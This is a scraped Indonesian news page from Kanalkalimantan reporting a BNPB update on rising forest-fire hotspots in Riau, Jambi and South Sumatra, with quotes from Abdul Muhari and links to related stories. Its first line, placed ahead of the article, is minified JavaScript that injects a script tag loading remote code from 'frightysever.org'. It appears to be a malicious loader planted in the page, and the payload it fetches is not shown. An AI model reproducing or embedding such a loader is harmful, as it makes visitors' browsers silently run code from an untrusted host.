(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Badan Nasional Penanggulangan Bencana (BNPB) mengamati adanya peningkatan jumlah titik api dalam tiga provinsi utama yang menjadi fokus penanganan kebakaran hutan dan lahan (karhutla) selama minggu ketiga bulan September ini.
Hal ini merupakan peningkatan signifikan dibandingkan dengan data pekan sebelumnya.
Kepala Pusat Data, Informasi, dan Komunikasi Kebencanaan BNPB, Abdul Muhari menekankan pentingnya kehati-hatian dalam menghadapi tren ini dan perlunya langkah-langkah pencegahan yang efektif untuk mengatasi karhutla.
Pada minggu kedua September, kasus karhutla di tiga provinsi prioritas yaitu Kalimantan Barat, Kalimantan Tengah, dan Kalimantan Selatan, mendominasi perhatian. Namun, pada minggu ketiga September, provinsi-provinsi prioritas yang terpengaruh oleh peningkatan titik api adalah Riau, Jambi, dan Sumatera Selatan.
Baca juga: Tersangka dan Ditahan, Eks Dirut Pertamina Karen Agustiawan Bikin Kontrak Sepihak
Perubahan ini sebagian besar disebabkan oleh adanya fenomena gelombang ekuator yang memengaruhi kondisi cuaca di Kalimantan, mengakibatkan penurunan titik api di wilayah tersebut.
Muhari menegaskan bahwa upaya pencegahan karhutla menjadi semakin sulit dalam kondisi kemarau saat ini. Namun, jika titik api terdeteksi, langkah-langkah pemadaman harus diambil sesegera mungkin.
“Sehingga nanti kalau pun terjadi kebakaran, durasi kebakaran dan cakupan lahan yang terbakar dapat diminimalkan, dan kita dapat melakukan tindakan yang paling optimal,” ujarnya.
Baca juga: Buka Banjar Expo 2023, Saidi Mansyur Soroti Peluang Investasi
Dijelaskan lebih lanjut, dirinya juga memberikan detail tentang perubahan lokasi titik api di beberapa provinsi. Di Provinsi Jambi, contohnya, sebelumnya titik api paling banyak tercatat di Kabupaten Sarolangun dan Tanjung Jabung Barat, tetapi dalam pekan ini, Kabupaten Tebo menjadi yang paling terdampak.
Di Provinsi Riau, pergeseran titik api terlihat dari Kabupaten Indragiri Hilir ke Indragiri Hulu, dengan peningkatan titik api di wilayah lainnya di provinsi tersebut.
Peningkatan yang paling mencolok terjadi di Provinsi Sumatera Selatan, khususnya di Kabupaten Ogan Komering Ilir. Jumlah titik api yang awalnya 2.269 titik, kini meningkat menjadi 5.245 titik.
Meskipun dampak di tiga provinsi prioritas di Pulau Kalimantan tidak sebesar di Sumatera, Muhari mencatat adanya munculnya titik api di wilayah yang sebelumnya tidak dianggap sebagai titik api dominan. Sebagai contoh, di Kalimantan Tengah, titik api menyebar dari Kabupaten Kotawaringin Timur ke Kabupaten Seruyan.
Baca juga: Tanam Padi Antisipasi El Nino, Petani Sungai Rangas Hambuku Panen Raya
Muhari berharap pemerintah daerah dapat memantau tren ini dan memahami potensi risiko karhutla di daerah mereka masing-masing. Ia juga menekankan perlunya evaluasi terus-menerus untuk memastikan efektivitas tindakan pencegahan dan penanggulangan karhutla di masa mendatang. (Kanalkalimantan/Beritasatu.com/kk)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.